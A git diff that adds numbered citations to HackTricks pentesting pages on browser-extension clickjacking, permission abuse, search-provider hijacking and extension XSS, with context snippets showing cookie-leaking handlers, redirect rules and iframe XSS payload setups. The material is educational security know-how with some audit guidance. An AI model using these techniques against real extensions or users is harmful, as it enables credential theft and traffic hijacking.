identifiers that gate recovery can be stolen when a batch API lets you copy unreadable subresponses into writable sinks.*[[5]](#references) - Identify a **trusted-device cookie** (`SameSite=None`, long-lived) used to relax recovery checks. - Find a **first-party endpoint** that returns that device ID in JSON (e.g., an OAuth `code` exchange returning `machine_id`) but is not readable cross-origin. @@ -257,14 +257,16 @@ access_token=PAGE_ACCESS_TOKEN&method=post ## References -- [https://blog.hackcommander.com/posts/2025/12/28/turning-a-harmless-xss-behind-a-waf-into-a-realistic-phishing-vector/](https://blog.hackcommander.com/posts/2025/12/28/turning-a-harmless-xss-behind-a-waf-into-a-realistic-phishing-vector/) -- [https://infosecwriteups.com/firing-8-account-takeover-methods-77e892099050](https://infosecwriteups.com/firing-8-account-takeover-methods-77e892099050) -- [https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea) -- [0xdf – HTB Era: security-question IDOR & username oracle](https://0xdf.gitlab.io/2025/11/29/htb-era.html) -- [Steal DATR Cookie](https://ysamm.com/uncategorized/2026/01/15/steal-dtsg-cookie.html) -- [Dfns - The Magic Link Vulnerability](https://www.dfns.co/article/the-magic-link-vulnerability) -- [USENIX Security 2025 - Demystifying the (In)Security of QR Code-based Login in Real-world Deployments](https://www.usenix.org/conference/usenixsecurity25/presentation/zhang-xin) -- [Bishop Fox - A Millisecond of Predictability: Why CVE-2026-11374 Is Hard to Exploit](https://bishopfox.com/blog/millisecond-of-predictability-why-cve-2026-11374-hard-to-exploit) -- [Bishop Fox - CVE-2026-11374 detection tool](https://github.com/BishopFox/CVE-2026-11374-check) -{{#include ../banners/hacktricks-training.md}} +- [1] [Turning a harmless XSS behind a WAF into a realistic phishing vector](https://blog.hackcommander.com/posts/2025/12/28/turning-a-harmless-xss-behind-a-waf-into-a-realistic-phishing-vector/) +- [2] [Firing 8 Account Takeover Methods](https://infosecwriteups.com/firing-8-account-takeover-methods-77e892099050) +- [3] [One-click account take over](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea) +- [4] [0xdf – HTB Era: security-question IDOR & username oracle](https://0xdf.gitlab.io/2025/11/29/htb-era.html) +- [5] [Steal DATR Cookie](https://ysamm.com/uncategorized/2026/01/15/steal-dtsg-cookie.html) +- [6] [Dfns - The Magic Link Vulnerability](https://www.dfns.co/article/the-magic-link-vulnerability) +- [7] [USENIX Security 2025 - Demystifying the (In)Security of QR Code-based Login in Real-world Deployments](https://www.usenix.org/conference/usenixsecurity25/presentation/zhang-xin) +- [8] [Bishop Fox - A Millisecond of Predictability: Why CVE-2026-11374 Is Hard to Exploit](https://bishopfox.com/blog/millisecond-of-predictability-why-cve-2026-11374-hard-to-exploit) +- [9] [Bishop Fox - CVE-2026-11374 detection tool](https://github.com/BishopFox/CVE-2026-11374-check) +- [10] [Till Recollapse: Fuzzing the Web for Mysterious Vulnerabilities - Andre Baptista](https://www.youtube.com/watch?v=CiIyaZ3x49c) +- [11] [Uncovering the hidden vulnerability: how I found an authentication bypass on Shopify's Exchange](https://medium.com/@niraj1mahajan/uncovering-the-hidden-vulnerability-how-i-found-an-authentication-bypass-on-shopifys-exchange-cc2729ea31a9) +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md index ad2a092ac80..22f00f103a5 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md @@ -26,7 +26,7 @@ However, this feature presents a security risk. If a resource within **`web_acce ## PrivacyBadger Example -In the extension PrivacyBadger, a vulnerability was identified related to the `skin/` directory being declared as `web_accessible_resources` in the following manner (Check the original [blog post](https://blog.lizzie.io/clickjacking-privacy-badger.html)): +In the extension PrivacyBadger, a vulnerability was identified related to the `skin/` directory being declared as `web_accessible_resources` in the following manner (Check the original [blog post](https://blog.lizzie.io/clickjacking-privacy-badger.html)):[[1]](#references) ```json "web_accessible_resources": [ @@ -35,9 +35,9 @@ In the extension PrivacyBadger, a vulnerability was identified related to the `s ] ``` -This configuration led to a potential security issue. Specifically, the `skin/popup.html` file, which is rendered upon interaction with the PrivacyBadger icon in the browser, could be embedded within an `iframe`. This embedding could be exploited to deceive users into inadvertently clicking on "Disable PrivacyBadger for this Website". Such an action would compromise the user's privacy by disabling the PrivacyBadger protection and potentially subjecting the user to increased tracking. A visual demonstration of this exploit can be viewed in a ClickJacking video example provided at [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm). +This configuration led to a potential security issue. Specifically, the `skin/popup.html` file, which is rendered upon interaction with the PrivacyBadger icon in the browser, could be embedded within an `iframe`. This embedding could be exploited to deceive users into inadvertently clicking on "Disable PrivacyBadger for this Website". Such an action would compromise the user's privacy by disabling the PrivacyBadger protection and potentially subjecting the user to increased tracking. A visual demonstration of this exploit can be viewed in a ClickJacking video example provided at [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).[[1]](#references) -To address this vulnerability, a straightforward solution was implemented: the removal of `/skin/*` from the list of `web_accessible_resources`. This change effectively mitigated the risk by ensuring that the content of the `skin/` directory could not be accessed or manipulated through web-accessible resources. +To address this vulnerability, a straightforward solution was implemented: the removal of `/skin/*` from the list of `web_accessible_resources`. This change effectively mitigated the risk by ensuring that the content of the `skin/` directory could not be accessed or manipulated through web-accessible resources.[[1]](#references) The fix was easy: **remove `/skin/*` from the `web_accessible_resources`**. @@ -80,11 +80,11 @@ The fix was easy: **remove `/skin/*` from the `web_accessible_resources`**. ## Metamask Example -A [**blog post about a ClickJacking in metamask can be found here**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). In this case, Metamask fixed the vulnerability by checking that the protocol used to access it was **`https:`** or **`http:`** (not **`chrome:`** for example): +A [**blog post about a ClickJacking in metamask can be found here**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). In this case, Metamask fixed the vulnerability by checking that the protocol used to access it was **`https:`** or **`http:`** (not **`chrome:`** for example):[[2]](#references)
-**Another ClickJacking fixed** in the Metamask extension was that users were able to **Click to whitelist** when a page was suspicious of being phishing because of `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. As that page was vulnerable to Clickjacking, an attacker could abuse it showing something normal to make the victim click to whitelist it without noticing, and then going back to the phishing page which will be whitelisted. +**Another ClickJacking fixed** in the Metamask extension was that users were able to **Click to whitelist** when a page was suspicious of being phishing because of `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. As that page was vulnerable to Clickjacking, an attacker could abuse it showing something normal to make the victim click to whitelist it without noticing, and then going back to the phishing page which will be whitelisted.[[2]](#references) ## Steam Inventory Helper Example @@ -99,7 +99,7 @@ browext-xss-example.md ## DOM-based Extension Clickjacking (Password Manager Autofill UIs) -Classic extension clickjacking abuses misconfigured `web_accessible_resources` to iframe privileged HTML and drive user clicks. A newer class, DOM-based extension clickjacking, targets the autofill dropdowns injected by password managers directly into the page DOM and uses CSS/DOM tricks to hide or occlude them while keeping them clickable. One coerced click can select a stored item and fill attacker-controlled inputs with sensitive data. +Classic extension clickjacking abuses misconfigured `web_accessible_resources` to iframe privileged HTML and drive user clicks. A newer class, DOM-based extension clickjacking, targets the autofill dropdowns injected by password managers directly into the page DOM and uses CSS/DOM tricks to hide or occlude them while keeping them clickable. One coerced click can select a stored item and fill attacker-controlled inputs with sensitive data.[[3]](#references) ### Threat model @@ -214,8 +214,8 @@ document.addEventListener('mousemove', e => { ## References -- [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html) -- [https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9) -- [DOM-based Extension Clickjacking (marektoth.com)](https://marektoth.com/blog/dom-based-extension-clickjacking/) +- [1] [ClickJacking Privacy Badger](https://blog.lizzie.io/clickjacking-privacy-badger.html) +- [2] [MetaMask Clickjacking Vulnerability Analysis](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9) +- [3] [DOM-based Extension Clickjacking (marektoth.com)](https://marektoth.com/blog/dom-based-extension-clickjacking/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md index 3c92bb2750c..e1da8941051 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md @@ -10,7 +10,7 @@ Permissions are defined in the extension's **`manifest.json`** file using the ** The previous manifest declares that the extension requires the `storage` permission. This means that it can use [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) to store its data persistently. Unlike cookies or `localStorage` APIs which give users some level of control, **extension storage can normally only be cleared by uninstalling the extension**. -An extension will request the permissions indicated in its **`manifest.json`** file and After installing the extension, you can **always check its permissions in your browser**, as shown in this image: +An extension will request the permissions indicated in its **`manifest.json`** file and After installing the extension, you can **always check its permissions in your browser**, as shown in this image:[[2]](#references)
@@ -39,13 +39,13 @@ The following `host_permissions` basically allow every web: ] ``` -These are the hosts that the browser extension can access freely. This is because when a browser extension calls **`fetch("https://gmail.com/")`** it's not restricted by CORS. +These are the hosts that the browser extension can access freely. This is because when a browser extension calls **`fetch("https://gmail.com/")`** it's not restricted by CORS.[[1]](#references) ## Abusing `permissions` and `host_permissions` ### Cookies -The **`cookies`** permission allows the extension to access **all the cookies** of the browser. In [**this blog post**](https://theindiannetwork.medium.com/reverse-engineering-a-browser-extension-led-me-to-a-dangerous-exploit-25-000-bounty-c7dda4601753) this permissions was abused through a **vulnerable backdound script** to abuse a browser extension to give the attacker all cookies of the browser of the victim user that accessed the malicious web page. The vulnerable code was just sending back all the cookies: +The **`cookies`** permission allows the extension to access **all the cookies** of the browser. In [**this blog post**](https://theindiannetwork.medium.com/reverse-engineering-a-browser-extension-led-me-to-a-dangerous-exploit-25-000-bounty-c7dda4601753) this permissions was abused through a **vulnerable backdound script** to abuse a browser extension to give the attacker all cookies of the browser of the victim user that accessed the malicious web page. The vulnerable code was just sending back all the cookies:[[8]](#references) ```javascript chrome.runtime.onMessage.addListener( @@ -62,57 +62,57 @@ chrome.runtime.onMessage.addListener( ### Tabs -Moreover, **`host_permissions`** also unlock “advanced” [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **functionality.** They allow the extension to call [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) and not only get a **list of user’s browser tabs** back but also learn which **web page (meaning address and title) is loaded**. +Moreover, **`host_permissions`** also unlock “advanced” [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **functionality.** They allow the extension to call [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) and not only get a **list of user’s browser tabs** back but also learn which **web page (meaning address and title) is loaded**.[[1]](#references) > [!CAUTION] -> Not only that, listeners like [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **become way more useful as well**. These will be notified whenever a new page loads into a tab. +> Not only that, listeners like [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **become way more useful as well**. These will be notified whenever a new page loads into a tab.[[1]](#references) ### Running content scripts Content scripts aren’t necessarily written statically into the extension manifest. Given sufficient **`host_permissions`**, **extensions can also load them dynamically by calling** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **or** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript). -Both APIs allow executing not merely files contained in the extensions as content scripts but also **arbitrary cod**e. The former allows passing in JavaScript code as a string while the latter expects a JavaScript function which is less prone to injection vulnerabilities. Still, both APIs will wreak havoc if misused. +Both APIs allow executing not merely files contained in the extensions as content scripts but also **arbitrary cod**e. The former allows passing in JavaScript code as a string while the latter expects a JavaScript function which is less prone to injection vulnerabilities. Still, both APIs will wreak havoc if misused.[[1]](#references) > [!CAUTION] -> In addition to the capabilities above, content scripts could for example **intercept credentials** as these are entered into web pages. Another classic way to abuse them is **injecting advertising** on each an every website. Adding **scam messages** to abuse credibility of news websites is also possible. Finally, they could **manipulate banking** websites to reroute money transfers. +> In addition to the capabilities above, content scripts could for example **intercept credentials** as these are entered into web pages. Another classic way to abuse them is **injecting advertising** on each an every website. Adding **scam messages** to abuse credibility of news websites is also possible. Finally, they could **manipulate banking** websites to reroute money transfers.[[1]](#references) ### Implicit privileges -Some extension privileges **don’t have to be explicitly declared**. One example is the [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): its basic functionality is accessible without any privileges whatsoever. Any extension can be notified when you open and close tabs, it merely won’t know which website these tabs correspond with. +Some extension privileges **don’t have to be explicitly declared**. One example is the [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): its basic functionality is accessible without any privileges whatsoever. Any extension can be notified when you open and close tabs, it merely won’t know which website these tabs correspond with.[[1]](#references) Sounds too harmless? The [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) is somewhat less so. It can be used to **create a new tab**, essentially the same as [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) which can be called by any website. Yet while `window.open()` is subject to the **pop-up blocker, `tabs.create()` isn’t**. > [!CAUTION] > An extension can create any number of tabs whenever it wants. -If you look through possible `tabs.create()` parameters, you’ll also notice that its capabilities go way beyond what `window.open()` is allowed to control. And while Firefox doesn’t allow `data:` URIs to be used with this API, Chrome has no such protection. **Use of such URIs on the top level has been** [**banned due to being abused for phishing**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.** +If you look through possible `tabs.create()` parameters, you’ll also notice that its capabilities go way beyond what `window.open()` is allowed to control. And while Firefox doesn’t allow `data:` URIs to be used with this API, Chrome has no such protection. **Use of such URIs on the top level has been** [**banned due to being abused for phishing**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.**[[1]](#references) -[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) is very similar to `tabs.create()` but will **modify an existing tab**. So a malicious extension can for example arbitrarily load an advertising page into one of your tabs, and it can activate the corresponding tab as well. +[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) is very similar to `tabs.create()` but will **modify an existing tab**. So a malicious extension can for example arbitrarily load an advertising page into one of your tabs, and it can activate the corresponding tab as well.[[1]](#references) ### Webcam, geolocation and friends -You probably know that websites can request special permissions, e.g. in order to access your webcam (video conferencing tools) or geographical location (maps). It’s features with considerable potential for abuse, so users each time have to confirm that they still want this. +You probably know that websites can request special permissions, e.g. in order to access your webcam (video conferencing tools) or geographical location (maps). It’s features with considerable potential for abuse, so users each time have to confirm that they still want this.[[1]](#references) > [!CAUTION] > Not so with browser extensions. **If a browser extension** [**wants access to your webcam or microphone**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, it only needs to ask for permission once** -Typically, an extension will do so immediately after being installed. Once this prompt is accepted, **webcam access is possible at any time**, even if the user isn’t interacting with the extension at this point. Yes, a user will only accept this prompt if the extension really needs webcam access. But after that they have to trust the extension not to record anything secretly. +Typically, an extension will do so immediately after being installed. Once this prompt is accepted, **webcam access is possible at any time**, even if the user isn’t interacting with the extension at this point. Yes, a user will only accept this prompt if the extension really needs webcam access. But after that they have to trust the extension not to record anything secretly.[[1]](#references) -With access to [your exact geographical location](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) or [contents of your clipboard](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), granting permission explicitly is unnecessary altogether. **An extension simply adds `geolocation` or `clipboard` to the** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **of its manifest**. These access privileges are then granted implicitly when the extension is installed. So a malicious or compromised extension with these privileges can create your movement profile or monitor your clipboard for copied passwords without you noticing anything. +With access to [your exact geographical location](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) or [contents of your clipboard](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), granting permission explicitly is unnecessary altogether. **An extension simply adds `geolocation` or `clipboard` to the** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **of its manifest**. These access privileges are then granted implicitly when the extension is installed. So a malicious or compromised extension with these privileges can create your movement profile or monitor your clipboard for copied passwords without you noticing anything.[[1]](#references) -Adding the **`history`** keyword to the [permissions entry](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) of the extension manifest grants **access to the** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). It allows retrieving the user’s entire browsing history all at once, without waiting for the user to visit these websites again. +Adding the **`history`** keyword to the [permissions entry](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) of the extension manifest grants **access to the** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). It allows retrieving the user’s entire browsing history all at once, without waiting for the user to visit these websites again.[[1]](#references) -The **`bookmarks`** **permission** has similar abuse potential, this one allows **reading out all bookmarks via the** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks). +The **`bookmarks`** **permission** has similar abuse potential, this one allows **reading out all bookmarks via the** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks).[[1]](#references) ### Storage permission -The extension storage is merely a key-value collection, very similar to [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) that any website could use. So no sensitive information should be stored here. +The extension storage is merely a key-value collection, very similar to [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) that any website could use. So no sensitive information should be stored here.[[1]](#references) -However, advertising companies could also abuse this storage. +However, advertising companies could also abuse this storage.[[1]](#references) ### Search provider hijacking with `chrome_settings_overrides` -A **low-permission** extension can still **take over omnibox searches** via **`chrome_settings_overrides.search_provider`**. Chrome allows an extension to define a custom search endpoint containing **`{searchTerms}`**, so a manifest-only extension can silently route every address-bar search through operator-controlled infrastructure: +A **low-permission** extension can still **take over omnibox searches** via **`chrome_settings_overrides.search_provider`**. Chrome allows an extension to define a custom search endpoint containing **`{searchTerms}`**, so a manifest-only extension can silently route every address-bar search through operator-controlled infrastructure:[[5]](#references)[[6]](#references) ```json "chrome_settings_overrides": { @@ -125,11 +125,11 @@ A **low-permission** extension can still **take over omnibox searches** via **`c } ``` -This is useful for **search affiliate hijacking** because the extension might need **no content scripts**, **no background logic**, and **no extra API permissions** while still gaining access to a very sensitive data stream: user search intent. +This is useful for **search affiliate hijacking** because the extension might need **no content scripts**, **no background logic**, and **no extra API permissions** while still gaining access to a very sensitive data stream: user search intent.[[5]](#references) ### Auditing search-override abuse -When reviewing a browser extension, check whether the advertised feature matches the search override: +When reviewing a browser extension, check whether the advertised feature matches the search override:[[5]](#references) - Search for **`chrome_settings_overrides`**, **`search_provider`**, **`search_url`**, and **`is_default`** in `manifest.json`. - Flag **manifest-only shells** whose main behavior is changing the default search provider. @@ -140,9 +140,9 @@ When reviewing a browser extension, check whether the advertised feature matches ### Runtime redirect rules can hide the real routing -Static package review may still miss the real search flow. An extension can ship benign-looking static rules and then install the real redirect logic at runtime via **`chrome.declarativeNetRequest.updateDynamicRules()`**. +Static package review may still miss the real search flow. An extension can ship benign-looking static rules and then install the real redirect logic at runtime via **`chrome.declarativeNetRequest.updateDynamicRules()`**.[[5]](#references)[[7]](#references) -Practical checks: +Practical checks:[[5]](#references) - Inspect the **service worker/background script** for `updateDynamicRules()`. - In an instrumented browser, dump live rules with **`chrome.declarativeNetRequest.getDynamicRules()`** from the extension context. @@ -151,11 +151,11 @@ Practical checks: ### More permissions -Manifest V3 split page access from API permissions: **`permissions`** still governs privileged APIs (cookies, tabs, history, scripting, etc.) while **`host_permissions`** controls which origins those APIs can touch. MV3 also made host permissions **runtime‑grantable**, so extensions can ship with none and pop a consent prompt later via `chrome.permissions.request()`—handy for legit least‑privilege flows, but also abused by malware to escalate after reputation is established. +Manifest V3 split page access from API permissions: **`permissions`** still governs privileged APIs (cookies, tabs, history, scripting, etc.) while **`host_permissions`** controls which origins those APIs can touch. MV3 also made host permissions **runtime‑grantable**, so extensions can ship with none and pop a consent prompt later via `chrome.permissions.request()`—handy for legit least‑privilege flows, but also abused by malware to escalate after reputation is established.[[4]](#references) -A stealthy variant is **`declarativeNetRequestWithHostAccess`** (Chrome ≥96). It provides the same request‑blocking/redirect power as `declarativeNetRequest` but **shows a weaker install prompt** than `` host permissions. Malicious extensions use it to silently get “block/redirect on any site” capability; test prompts with `chrome://extensions/?errors` and `chrome://extensions/?id=`. +A stealthy variant is **`declarativeNetRequestWithHostAccess`** (Chrome ≥96). It provides the same request‑blocking/redirect power as `declarativeNetRequest` but **shows a weaker install prompt** than `` host permissions. Malicious extensions use it to silently get “block/redirect on any site” capability; test prompts with `chrome://extensions/?errors` and `chrome://extensions/?id=`.[[3]](#references) -`declarativeNetRequest` dynamic rules let an extension reprogram network policy at runtime. With `` host access an attacker can weaponise it to hijack traffic or data exfil. Example: +`declarativeNetRequest` dynamic rules let an extension reprogram network policy at runtime. With `` host access an attacker can weaponise it to hijack traffic or data exfil. Example:[[3]](#references)[[7]](#references) ```javascript chrome.declarativeNetRequest.updateDynamicRules({ @@ -171,35 +171,33 @@ chrome.declarativeNetRequest.updateDynamicRules({ }); ``` -Chrome raised MV3 rule limits (≈330k static / 30k dynamic), so large coverage sets are feasible for interception/ads injection. +Chrome raised MV3 rule limits (≈330k static / 30k dynamic), so large coverage sets are feasible for interception/ads injection.[[3]](#references) ### Recent abuse patterns -* **Supply-chain trojanized updates:** Stolen developer accounts push MV3 updates that add `` plus `declarativeNetRequest`/`scripting`/`webRequest` to inject remote JS and siphon headers/DOM content. +* **Supply-chain trojanized updates:** Stolen developer accounts push MV3 updates that add `` plus `declarativeNetRequest`/`scripting`/`webRequest` to inject remote JS and siphon headers/DOM content.[[3]](#references) * **Wallet drains:** Host access plus `storage` and `tabs` lets backdoored wallet extensions exfiltrate seeds; stolen Web Store API keys have been used to ship malicious builds. * **Cookie theft:** Any extension with `cookies` + broad host access can read auth cookies despite `HttpOnly`—treat that combination as credential-stealing capable. ## Prevention -The policy of Google's developer explicitly forbids extensions from requesting more privileges than necessary for their functionality, effectively mitigating excessive permission requests. An instance where a browser extension overstepped this boundary involved its distribution with the browser itself rather than through an add-on store. +The policy of Google's developer explicitly forbids extensions from requesting more privileges than necessary for their functionality, effectively mitigating excessive permission requests. An instance where a browser extension overstepped this boundary involved its distribution with the browser itself rather than through an add-on store.[[1]](#references) -Browsers could further curb the misuse of extension privileges. For instance, Chrome's [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) and [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) APIs, used for screen recording, are designed to minimize abuse. The tabCapture API can only be activated through direct user interaction, such as clicking on the extension icon, while desktopCapture requires user confirmation for the window to be recorded, preventing clandestine recording activities. +Browsers could further curb the misuse of extension privileges. For instance, Chrome's [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) and [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) APIs, used for screen recording, are designed to minimize abuse. The tabCapture API can only be activated through direct user interaction, such as clicking on the extension icon, while desktopCapture requires user confirmation for the window to be recorded, preventing clandestine recording activities.[[1]](#references) -However, tightening security measures often results in decreased flexibility and user-friendliness of extensions. The [activeTab permission](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) illustrates this trade-off. It was introduced to eliminate the need for extensions to request host privileges across the entire internet, allowing extensions to access only the current tab upon explicit activation by the user. This model is effective for extensions requiring user-initiated actions but falls short for those requiring automatic or pre-emptive actions, thereby compromising convenience and immediate responsiveness. +However, tightening security measures often results in decreased flexibility and user-friendliness of extensions. The [activeTab permission](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) illustrates this trade-off. It was introduced to eliminate the need for extensions to request host privileges across the entire internet, allowing extensions to access only the current tab upon explicit activation by the user. This model is effective for extensions requiring user-initiated actions but falls short for those requiring automatic or pre-emptive actions, thereby compromising convenience and immediate responsiveness.[[1]](#references) ## **References** -- [https://palant.info/2022/08/17/impact-of-extension-privileges/](https://palant.info/2022/08/17/impact-of-extension-privileges/) -- [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing) -- [https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/malicious-browser-extensions-feb-2025/](https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/malicious-browser-extensions-feb-2025/) -- [https://developer.chrome.com/blog/resuming-the-transition-to-mv3/](https://developer.chrome.com/blog/resuming-the-transition-to-mv3/) -- [https://malext.io/reports/SearchJack/](https://malext.io/reports/SearchJack/) -- [https://developer.chrome.com/docs/extensions/reference/manifest/chrome-settings-override](https://developer.chrome.com/docs/extensions/reference/manifest/chrome-settings-override) -- [https://developer.chrome.com/docs/extensions/reference/api/declarativeNetRequest](https://developer.chrome.com/docs/extensions/reference/api/declarativeNetRequest) +- [1] [The impact of extension privileges](https://palant.info/2022/08/17/impact-of-extension-privileges/) +- [2] [Introduction to Chrome Browser Extension Security Testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing) +- [3] [Malicious Browser Extensions (GitLab Threat Intelligence, Feb 2025)](https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/malicious-browser-extensions-feb-2025/) +- [4] [Resuming the transition to MV3](https://developer.chrome.com/blog/resuming-the-transition-to-mv3/) +- [5] [SearchJack: 23 Chrome Extensions Silently Monetize ~758,000 Users' Searches](https://malext.io/reports/SearchJack/) +- [6] [chrome_settings_overrides manifest reference](https://developer.chrome.com/docs/extensions/reference/manifest/chrome-settings-override) +- [7] [declarativeNetRequest API reference](https://developer.chrome.com/docs/extensions/reference/api/declarativeNetRequest) +- [8] [Reverse engineering a browser extension led me to a dangerous exploit ($25,000 bounty)](https://theindiannetwork.medium.com/reverse-engineering-a-browser-extension-led-me-to-a-dangerous-exploit-25-000-bounty-c7dda4601753) {{#include ../../banners/hacktricks-training.md}} - - - diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md index 328a19e0b7b..ae8b5a1d431 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md @@ -4,7 +4,7 @@ ## Cross-Site Scripting (XSS) through Iframe -In this setup, a **content script** is implemented to instantiate an Iframe, incorporating a URL with query parameters as the source of the Iframe: +In this setup, a **content script** is implemented to instantiate an Iframe, incorporating a URL with query parameters as the source of the Iframe:[[1]](#references) ```javascript chrome.storage.local.get("message", (result) => { @@ -17,7 +17,7 @@ chrome.storage.local.get("message", (result) => { }) ``` -A publicly accessible HTML page, **`message.html`**, is designed to dynamically add content to the document body based on the parameters in the URL: +A publicly accessible HTML page, **`message.html`**, is designed to dynamically add content to the document body based on the parameters in the URL:[[1]](#references) ```javascript $(document).ready(() => { @@ -33,7 +33,7 @@ $(document).ready(() => { }) ``` -A malicious script is executed on an adversary's page, modifying the `content` parameter of the Iframe's source to introduce a **XSS payload**. This is achieved by updating the Iframe's source to include a harmful script: +A malicious script is executed on an adversary's page, modifying the `content` parameter of the Iframe's source to introduce a **XSS payload**. This is achieved by updating the Iframe's source to include a harmful script:[[1]](#references) ```javascript setTimeout(() => { @@ -52,9 +52,9 @@ An overly permissive Content Security Policy such as: "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';" ``` -allows the execution of JavaScript, making the system vulnerable to XSS attacks. +allows the execution of JavaScript, making the system vulnerable to XSS attacks.[[1]](#references) -An alternative approach to provoke the XSS involves creating an Iframe element and setting its source to include the harmful script as the `content` parameter: +An alternative approach to provoke the XSS involves creating an Iframe element and setting its source to include the harmful script as the `content` parameter:[[1]](#references) ```javascript let newFrame = document.createElement("iframe") @@ -66,7 +66,7 @@ document.body.append(newFrame) ## DOM-based XSS + ClickJacking -This example was taken from the [original post writeup](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/). +This example was taken from the [original post writeup](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/).[[2]](#references) The core issue arises from a DOM-based Cross-site Scripting (XSS) vulnerability located in **`/html/bookmarks.html`**. The problematic JavaScript, part of 